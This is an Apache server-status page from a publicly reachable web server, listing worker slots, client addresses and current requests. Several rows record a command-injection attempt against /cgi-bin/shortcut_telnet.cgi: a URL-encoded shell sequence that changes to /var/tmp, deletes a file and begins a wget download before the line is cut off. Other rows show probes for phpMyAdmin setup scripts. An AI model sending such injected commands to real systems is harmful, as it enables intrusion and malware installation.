___._W____...................._................................. ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0-68 | 3486887 | 0/97/17465 | _ | 1.82 | 42 | 0 | 6570254 | 0.0 | 6.58 | 666.51 | 154.81.156.34 | http/1.1 | localhost:80 | GET /cgi-bin/shortcut_telnet.cgi?cd%20/var/tmp;rm%20-rf%20fc;wg |
1-68 | 3486922 | 0/92/17201 | _ | 0.32 | 3 | 0 | 5600859 | 0.0 | 6.96 | 585.90 | 110.164.230.67 | http/1.1 | ||
2-68 | 3490211 | 0/37/16282 | _ | 0.31 | 39 | 10223 | 5460658 | 0.0 | 1.60 | 626.20 | 110.164.230.67 | http/1.1 | localhost:80 | GET /nakhara/ HTTP/1.1 |
3-68 | - | 0/0/16453 | . | 0.00 | 381 | 0 | 7057426 | 0.0 | 0.00 | 642.91 | ::1 | http/1.1 | ||
4-68 | 3493760 | 0/8/14835 | _ | 0.00 | 132 | 0 | 6985704 | 0.0 | 0.47 | 581.29 | 91.208.197.21 | http/1.1 | localhost:80 | GET /pma/scripts/setup.php HTTP/1.1 |
5-68 | 3486886 | 1/126/15399 | W | 0.38 | 0 | 0 | 5719513 | 0.6 | 4.82 | 602.50 | 13.59.173.30 | http/1.1 | localhost:80 | GET /server-status HTTP/1.1 |
6-68 | 3488713 | 0/81/14390 | _ | 0.72 | 117 | 0 | 5338908 | 0.0 | 7.45 | 561.41 | 154.81.156.34 | http/1.1 | localhost:80 | GET /cgi-bin/shortcut_telnet.cgi?cd%20/var/tmp;rm%20-rf%20fc;wg |
7-68 | 3494574 | 0/2/13037 | _ | 0.00 | 77 | 0 | 4888571 | 0.0 | 0.00 | 524.38 | 154.81.156.34 | http/1.1 | localhost:80 | GET /cgi-bin/shortcut_telnet.cgi?cd%20/var/tmp;rm%20-rf%20fc;wg |
8-68 | 3488715 | 0/114/13960 | _ | 0.33 | 132 | 0 | 5724301 | 0.0 | 5.59 | 485.83 | 91.208.197.21 | http/1.1 | localhost:80 | GET /phpmyadmin/scripts/setup.php HTTP/1.1 |
9-68 | 3490212 | 0/46/12179 | _ | 0.73 | 151 | 0 | 5782052 | 0.0 | 2.13 | 516.89 | 154.81.156.34 | http/1.1 | localhost:80 | GET /cgi-bin/shortcut_telnet.cgi?cd%20/var/tmp;rm%20-rf%20fc;wg |
10-68 | - | 0/0/11322 | . | 0.00 | 6572 | 1 | 4272261 | 0.0 | 0.00 | 401.20 | ::1 | http/1.1 | ||
11-68 | - | 0/0/10123 | . | 0.00 | 5104 | 0 | 3233008 | 0.0 | 0.00 | 370.94 | ::1 | http/1.1 | ||
12-67 | - | 0/0/7201 | . | 0.00 | 74688 | 3 | 2534628 | 0.0 | 0.00 | 260.84 | ::1 | http/1.1 | ||
13-67 | - | 0/0/2983 | . | 0.00 | 74679 | 0 | 749209 | 0.0 | 0.00 | 78.46 | ::1 | http/1.1 | ||
14-67 | - | 0/0/1185 | . | 0.00 | 74687 | 0 | 345745 | 0.0 | 0.00 | 40.41 | ::1 | http/1.1 | ||
15-67 | - | 0/0/2136 | . | 0.00 | 74686 | 0 | 627767 | 0.0 | 0.00 | 60.91 | ::1 | http/1.1 | ||
16-67 | - | 0/0/883 | . | 0.00 | 74684 | 3 | 337702 | 0.0 | 0.00 | 39.22 | ::1 | http/1.1 | ||
17-67 | - | 0/0/295 | . | 0.00 | 74673 | 0 | 47522 | 0.0 | 0.00 | 5.72 | ::1 | http/1.1 | ||
18-67 | - | 0/0/387 | . | 0.00 | 69293 | 0 | 124071 | 0.0 | 0.00 | 6.35 | ::1 | http/1.1 | ||
19-67 | - | 0/0/407 | . | 0.00 | 74677 | 3 | 110173 | 0.0 | 0.00 | 2.50 | ::1 | http/1.1 | ||
20-67 | - | 0/0/666 | . | 0.00 | 74676 | 0 | 152306 | 0.0 | 0.00 | 12.32 | ::1 | http/1.1 | ||
21-67 | - | 0/0/676 | . | 0.00 | 74674 | 13 | 267591 | 0.0 | 0.00 | 13.15 | ::1 | http/1.1 | ||
22-67 | - | 0/0/1168 | . | 0.00 | 74690 | 1 | 365074 | 0.0 | 0.00 | 31.48 | ::1 | http/1.1 | ||
23-67 | - | 0/0/655 | . | 0.00 | 74675 | 0 | 63668 | 0.0 | 0.00 | 17.27 | ::1 | http/1.1 | ||
24-67 | - | 0/0/424 | . | 0.00 | 66518 | 0 | 134877 | 0.0 | 0.00 | 8.94 | ::1 | http/1.1 | ||
25-67 | - | 0/0/481 | . | 0.00 | 74678 | 0 | 186736 | 0.0 | 0.00 | 21.95 | ::1 | http/1.1 | ||
26-67 | - | 0/0/321 | . | 0.00 | 69298 | 0 | 103658 | 0.0 | 0.00 | 9.40 | ::1 | http/1.1 | ||
27-67 | - | 0/0/553 | . | 0.00 | 74672 | 0 | 127274 | 0.0 | 0.00 | 7.89 | ::1 | http/1.1 | ||
28-67 | - | 0/0/501 | . | 0.00 | 62327 | 0 | 106408 | 0.0 | 0.00 | 6.04 | ::1 | http/1.1 | ||
29-67 | - | 0/0/472 | . | 0.00 | 53225 | 0 | 113673 | 0.0 | 0.00 | 12.98 | ::1 | http/1.1 | ||
30-68 | 3486883 | 0/92/528 | _ | 0.57 | 1 | 0 | 247571 | 0.0 | 7.65 | 14.63 | 154.81.156.34 | http/1.1 | localhost:80 | GET /cgi-bin/shortcut_telnet.cgi?cd%20/var/tmp;rm%20-rf%20fc;wg |
31-67 | - | 0/0/247 | . | 0.00 | 74670 | 0 | 22507 | 0.0 | 0.00 | 1.53 | ::1 | http/1.1 | ||
32-68 | - | 0/0/709 | . | 0.00 | 7753 | 0 | 246175 | 0.0 | 0.00 | 12.46 | ::1 | http/1.1 | ||
33-67 | - | 0/0/119 | . | 0.00 | 74671 | 1 | 41 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ||
34-67 | - | 0/0/641 | . | 0.00 | 47583 | 0 | 183567 | 0.0 | 0.00 | 9.49 | ::1 | http/1.1 | ||
35-67 | - | 0/0/546 | . | 0.00 | 53223 | 0 | 252590 | 0.0 | 0.00 | 17.72 | ::1 | http/1.1 | ||
36-67 | - | 0/0/644 | . | 0.00 | 74701 | 0 | 102671 | 0.0 | 0.00 | 11.55 | ::1 | http/1.1 | ||
37-67 | - | 0/0/768 | . | 0.00 | 74700 | 0 | 147875 | 0.0 | 0.00 | 18.78 | ::1 | http/1.1 | ||
38-67 | - | 0/0/616 | . | 0.00 | 74699 | 43 | 75943 | 0.0 | 0.00 | 9.04 | ::1 | http/1.1 | ||
39-67 | - | 0/0/894 | . | 0.00 | 74698 | 0 | 309755 | 0.0 | 0.00 | 30.49 | ::1 | http/1.1 | ||
40-67 | - | 0/0/748 | . | 0.00 | 74697 | 0 | 227796 | 0.0 | 0.00 | 18.59 | ::1 | http/1.1 | ||
41-67 | - | 0/0/216 | . | 0.00 | 74696 | 0 | 26192 | 0.0 | 0.00 | 3.45 | ::1 | http/1.1 | ||
42-65 | - | 0/0/468 | . | 0.00 | 192785 | 0 | 146427 | 0.0 | 0.00 | 5.98 | ::1 | http/1.1 | ||
43-65 | - | 0/0/221 | . | 0.00 | 232420 | 0 | 566 | 0.0 | 0.00 | 1.75 | ::1 | http/1.1 | ||
44-65 | - | 0/0/441 | . | 0.00 | 232416 | 0 | 86245 | 0.0 | 0.00 | 5.49 | ::1 | http/1.1 | ||
45-65 | - | 0/0/110 | . | 0.00 | 232445 | 0 | 29 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
46-65 | - | 0/0/119 | . | 0.00 | 232451 | 0 | 32 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
47-65 | - | 0/0/388 | . | 0.00 | 232442 | 0 | 83912 | 0.0 | 0.00 | 3.83 | ::1 | http/1.1 | ||
48-65 | - | 0/0/157 | . | 0.00 | 232425 | 0 | 54 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
49-65 | - | 0/0/115 | . | 0.00 | 232434 | 0 | 30 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
50-65 | - | 0/0/286 | . | 0.00 | 232439 | 0 | 153885 | 0.0 | 0.00 | 15.11 | ::1 | http/1.1 | ||
51-65 | - | 0/0/96 | . | 0.00 | 232432 | 0 | 26 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
52-65 | - | 0/0/112 | . | 0.00 | 232444 | 0 | 29 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
53-65 | - | 0/0/143 | . | 0.00 | 232426 | 0 | 54 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ||
54-65 | - | 0/0/98 | . | 0.00 | 232476 | 0 | 300826 | 0.0 | 0.00 | 2.22 | ::1 | http/1.1 | ||
55-65 | - | 0/0/320 | . | 0.00 | 192781 | 0 | 43294 | 0.0 | 0.00 | 3.85 | ::1 | http/1.1 | ||
56-65 | - | 0/0/111 | . | 0.00 | 232475 | 0 | 233939 | 0.0 | 0.00 | 2.72 | ::1 | http/1.1 | ||
57-65 | - | 0/0/102 | . | 0.00 | 232419 | 0 | 38 | 0.0 | 0.00 | 0.14 | ::1 | http/1.1 | ||
58-65 | - | 0/0/58 | . | 0.00 | 232474 | 2 | 779 | 0.0 | 0.00 | 0.96 | ::1 | http/1.1 | ||
59-65 | - | 0/0/76 | . | 0.00 | 232433 | 0 | 21 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
60-65 | - | 0/0/94 | . | 0.00 | 232441 | 0 | 876 | 0.0 | 0.00 | 1.89 | ::1 | http/1.1 | ||
61-65 | - | 0/0/50 | . | 0.00 | 232422 | 0 | 22 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
62-65 | - | 0/0/43 | . | 0.00 | 232473 | 0 | 12 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
63-65 | - | 0/0/35 | . | 0.00 | 232427 | 0 | 18 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
64-65 | - | 0/0/78 | . | 0.00 | 232428 | 0 | 27 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
65-65 | - | 0/0/628 | . | 0.00 | 213599 | 0 | 162768 | 0.0 | 0.00 | 12.70 | ::1 | http/1.1 | ||
66-65 | - | 0/0/80 | . | 0.00 | 232448 | 0 | 64 | 0.0 | 0.00 | 0.21 | ::1 | http/1.1 | ||
67-65 | - | 0/0/27 | . | 0.00 | 232472 | 1 | 12 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
68-65 | - | 0/0/39 | . | 0.00 | 232446 | 0 | 15 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
69-65 | - | 0/0/53 | . | 0.00 | 232449 | 0 | 1378 | 0.0 | 0.00 | 0.85 | ::1 | http/1.1 | ||
70-65 | - | 0/0/24 | . | 0.00 | 232447 | 0 | 7 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
71-65 | - | 0/0/41 | . | 0.00 | 232443 | 0 | 22 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
72-65 | - | 0/0/37 | . | 0.00 | 232440 | 0 | 12 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
73-49 | - | 0/0/29 | . | 0.00 | 1583968 | 0 | 12 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
74-49 | - | 0/0/26 | . | 0.00 | 1583974 | 0 | 9 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
75-49 | - | 0/0/25 | . | 0.00 | 1583957 | 0 | 8 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
76-49 | - | 0/0/116 | . | 0.00 | 1583959 | 0 | 31403 | 0.0 | 0.00 | 6.97 | ::1 | http/1.1 | ||
77-49 | - | 0/0/24 | . | 0.00 | 1583976 | 0 | 7 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
78-49 | - | 0/0/59 | . | 0.00 | 1583979 | 0 | 16 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
79-49 | - | 0/0/20 | . | 0.00 | 1583964 | 0 | 6 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
80-49 | - | 0/0/18 | . | 0.00 | 1583962 | 0 | 6 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
81-49 | - | 0/0/17 | . | 0.00 | 1583970 | 0 | 6 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
82-49 | - | 0/0/36 | . | 0.00 | 1583961 | 0 | 640 | 0.0 | 0.00 | 0.89 | ::1 | http/1.1 | ||
83-49 | - | 0/0/70 | . | 0.00 | 1583972 | 0 | 35 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
84-49 | - | 0/0/49 | . | 0.00 | 1583983 | 0 | 15 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
85-49 | - | 0/0/18 | . | 0.00 | 1583978 | 0 | 8 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
86-49 | - | 0/0/21 | . | 0.00 | 1583981 | 0 | 7 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
87-49 | - | 0/0/11 | . | 0.00 | 1583966 | 0 | 3 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
88-49 | - | 0/0/9 | . | 0.00 | 1583980 | 0 | 4 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
89-49 | - | 0/0/4 | . | 0.00 | 1583958 | 0 | 3 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
90-49 | - | 0/0/15 | . | 0.00 | 1583967 | 0 | 12 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
91-49 | - | 0/0/33 | . | 0.00 | 1584007 | 0 | 9 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
92-49 | - | 0/0/59 | . | 0.00 | 1584006 | 0 | 36 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
93-49 | - | 0/0/31 | . | 0.00 | 1584005 | 0 | 8 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
94-49 | - | 0/0/45 | . | 0.00 | 1583956 | 0 | 260835 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
95-49 | - | 0/0/17 | . | 0.00 | 1583955 | 0 | 5 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
96-49 | - | 0/0/12 | . | 0.00 | 1583960 | 0 | 4 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
97-49 | - | 0/0/64 | . | 0.00 | 1583952 | 0 | 41307 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
98-49 | - | 0/0/20 | . | 0.00 | 1583954 | 0 | 5 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
99-49 | - | 0/0/9 | . | 0.00 | 1584000 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
100-49 | - | 0/0/13 | . | 0.00 | 1583999 | 0 | 4 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
101-49 | - | 0/0/55 | . | 0.00 | 1583998 | 0 | 15 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
102-49 | - | 0/0/15 | . | 0.00 | 1583997 | 0 | 4 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
103-49 | - | 0/0/3 | . | 0.00 | 1583996 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Dur | Sum of milliseconds required to process all requests |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 0 total entries replaced since starting: 0 total entries expired since starting: 0 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 0 miss total removes since starting: 0 hit, 0 miss |